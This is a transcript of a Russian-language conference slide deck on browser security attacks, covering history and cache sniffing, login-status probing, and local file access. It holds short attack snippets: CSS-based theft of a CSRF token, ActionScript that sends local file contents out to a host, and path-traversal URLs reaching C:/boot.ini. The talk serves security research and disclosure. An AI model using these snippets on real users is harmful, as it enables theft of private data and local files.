positive hack days. Воронцов. Безопасность браузеров: новый...

24
Безопасность браузеров Новый взгляд

Upload: positive-hack-days

Post on 16-Jun-2015

3.965 views

Category:

Technology


1 download

DESCRIPTION

Доклад посвящен вопросам безопасности клиентских приложений, используемых для работы в Интернете. Основной акцент сделан на исследовании механизмов кэширования и загрузки файлов в современных браузерах (IE8, IE9, Chrome, Opera, Safari, Firefox). Приводятся схемы и примеры атак с использованием результатов исследования и уязвимостей браузеров, обнаруженных в результате подготовки материала. Рассматриваются атаки Cross Application Scripting, где браузер выступает как в роли приложения-отправителя, так и в роли целевого приложения. Также рассматривается вопрос взаимодействия с файловой системой внешних плагинов браузеров, таких как Adobe Flash и Adobe Acrobat, и атаки, использующие этот вектор.

TRANSCRIPT

Page 1: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Безопасность браузеровНовый взгляд

Page 2: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

● Наиболее полное описание уязвимостей и механизмов безопасности, применяющихся в браузерах.

● Рассмотрим часть 2, главу "Life outside same-origin rules" раздел "Privacy-related side channels".

● http://code.google.com/p/browsersec/wiki/Part2

Google browser security handbook

Page 3: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

● Reading back CSS :visited class on links

● Full-body CSS theft (Chris Evans 03/09/2010)

● Resource inclusion probes with onload and onerror checks.

● Image size fingerprinting● Cache timing● General resource timing (Chris Evans

11/12/2009)

Google browser security handbook

Page 4: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

● Для посещенных ссылок автоматически меняется цвет.

● В любом HTML документе, цвет ссылки можно прочитать через .getComputedStyle или .currentStyle (cross-domain).

● Если цвет ссылки поменялся, то злоумышленник делает вывод, что в истории жертвы есть целевая страница.

● Перебирая адреса страниц, злоумышленник получает историю посещений жертвы.

Reading back CSS :visited class on links (J.Ruderman at 2010)

Page 5: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Full-body CSS theft (Chris Evans 2010, only IE8)● Браузеры воспринимают HTML как CSS, который

можно подключить через <STYLE>● В HTML могут быть конфиденциальные данные

(например, CSRF токен)● Конф. данные можно получить благодаря гибкому

CSS парсеру, встроенному в браузер.

<style>@import url("http://twitter.com/scarybeaststest");</style>var borrowed = document.body.currentStyle.fontFamily;var i = borrowed.indexOf("authenticity_token = '");borrowed = borrowed.substring(i + 22);

Page 6: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Resource inclusion probes with onload and onerror checks● Браузеры вызывают события onload/onerror в

зависимости от HTTP статуса загрузки документа● При загрузке страниц с других доменов в тэгах:

<SCRIPT> <APPLET> <IMG> <OBJECT> <EMBED> <IFRAME> <FRAME> отправляется запрос с аутентификационными данными (COKIES)

● Веб-приложения часто имеют страницы, HTTP статус которых зависит от авторизации пользователя (HTTP 3xx, HTTP 4xx)

● Злоумышленник проверяет текущий статус авторизации жертвы на целевом домене с любой страницы.

Page 7: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Image size finderprinting

● Браузеры автоматически присваивают реальные размеры загруженному на страницу изображению

● При загрузке картинок с других доменов в тэге <IMG> отправляется запрос с аутентификационными данными (COKIES)

● Веб-приложения часто имеют динамические картинки, высота и ширина которых зависит от статуса авторизации пользователя (или др. прав)

● Злоумышленник проверяет текущий статус авторизации жертвы на целевом домене с любой страницы.

Page 8: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Cache timing

● После посещения страницы, она копируется в кэш браузера - локальные данные ПК

● Если страница находится к кэше, ее загрузка осуществляется существенно быстрее (пропорционально размеру страницы)

● Злоумышленник может проверить наличие страницы в кэше браузера жертвы зная время ее загрузки (IFRAME -> onload event)

Page 9: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

General resource timing (Chris Evans 11/12/2009)

● Часто размер динамической страницы веб-приложения зависит от статуса авторизации пользователя

● Если пользователь авторизован, время загрузки страницы будет отличаться от случая, когда пользователь не авторизован

● Злоумышленник может проверить статус авторизации жертвы зная время ее загрузки (IFRAME -> onload event)

Page 10: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Новое в Image size finderprinting.

● Internet Explorer 8, 9, 10 (platform preview) поддерживают свойство fileSize для объектов image (<img>) и document, что позволяет получить размер картинки в байтах

● fileSize позволяет сильно улучшить зону покрытия метода

● Метод можно использовать не только для проверки авторизации, но и для проверки наличия локальных файлов картинок при открытии HTML в зоне file://

Page 11: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Механизмы загрузки файлов в браузерах● Можно ли загрузить произвольный файл на диск

без согласия пользователя?● Можно ли предугадать путь к загруженному файлу?

Page 12: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Механизмы кэширования в браузерах● Рассмотрим как кэш браузера храниться на диске

(файлы, SQLite).● В каких случаях кэшированные страницы можно

использовать как локальные HTML из того же браузера

Page 13: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Cache finderprinting (Chrome)● Требует локального HTML с кодом PoС● Используем размеры картинок как сигнатуры

для распознавания сайтов в кэше. ● Можно определить размер кэша с точностью N,

где N - среднее количество файлов кэша, на которое приходиться одна картинка

Page 14: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Cache finderprinting (Chrome)Почему работает метод?

● Кэш храниться в виде раздельных локальных файлов

● Возможен доступ к файлам с кэшем из браузера

● Имена кэш-файлов предугадываемые (нумерованные)

● Image size finderprinting● На проверяемом сайте есть картинка

уникальных размеров или их последовательность:

В примере: Youtube: 113x392, Google: 284x189 && 167x253

Page 15: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Local files access (HTML)● Можно ли получить содержимое локальных

файлов через .innerHTML?● Как проверить наличие произвольного

локального файла с ФС?

Page 16: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Local files access (SWF)● Файл должен быть собран с опцией (Flex)

--use-network=false● Плагин должен быть открыт в зоне file://

private function getData(name:String):void{ var url:URLRequest=new URLRequest(name); var loader:URLLoader=new URLLoader(); loader.addEventListener(Event.COMPLETE,populate); loader.load(url); }private function sendData(host:String,data:String):void{ var enc:Base64Encoder=new Base64Encoder(); enc.encode(data); data=enc.toString(); navigateToURL(new URLRequest("file:///"+host+"/"+data),"_self"); } http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf

http://xs-sniper.com/blog/2011/01/04/bypassing-flash%E2%80%99s-local-with-filesystem-sandbox/

Page 17: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Local files access (SWF)

http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdfhttp://xs-sniper.com/blog/2011/01/04/bypassing-flash%E2%80%99s-local-with-filesystem-sandbox/

Page 18: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Local files access (PDF)

● Adobe 908● Adobe 925

We will begin our investigation based on that information.

In the meantime, we ask that you do not publicly disclose this potential issue, in order to protect Adobe's customers. This has been assigned the Adobe tracking number 908.

Page 19: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

From http:// to file:// (Chrome)Issue 72492 (Feb 9, 2011)

● Из командой строки (.lnk файлов) URL вида http://google.com/../../../../../../../../../../boot.ini ведет на C:/boot.ini

● Из ссылок в приложениях (GTalk,ICQ,Skype) надо обойти встроенную нормализацию:

http://www.google.ru?q=OMFG../#a/../../../../../../../../../../../boot.ini

● Можно вызвать через PDF документ расположенный в зоне http://:

app.launchURL("http://../../../../../../../boot.ini",true)

Pri-1 Area-Internals SecSeverity-Medium Type-Security Mstone-11

Page 20: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

From http:// to file:// (Chrome)Pri-1 Area-Internals SecSeverity-Medium Type-Security Mstone-11

Page 21: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Атака из топора (stealing local file from remote in Chrome 11.0.696.68)

Page 22: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Атака из топора (stealing local file from remote in Chrome 11.0.696.68)

Page 23: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

Что нас ждет? GUI уязвимости● URL spoofing● PKI spoofing● Action spoofing● Dialogs bypass

Page 24: Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)

КОНТАКТЫ: [email protected]

ВОПРОСЫ ???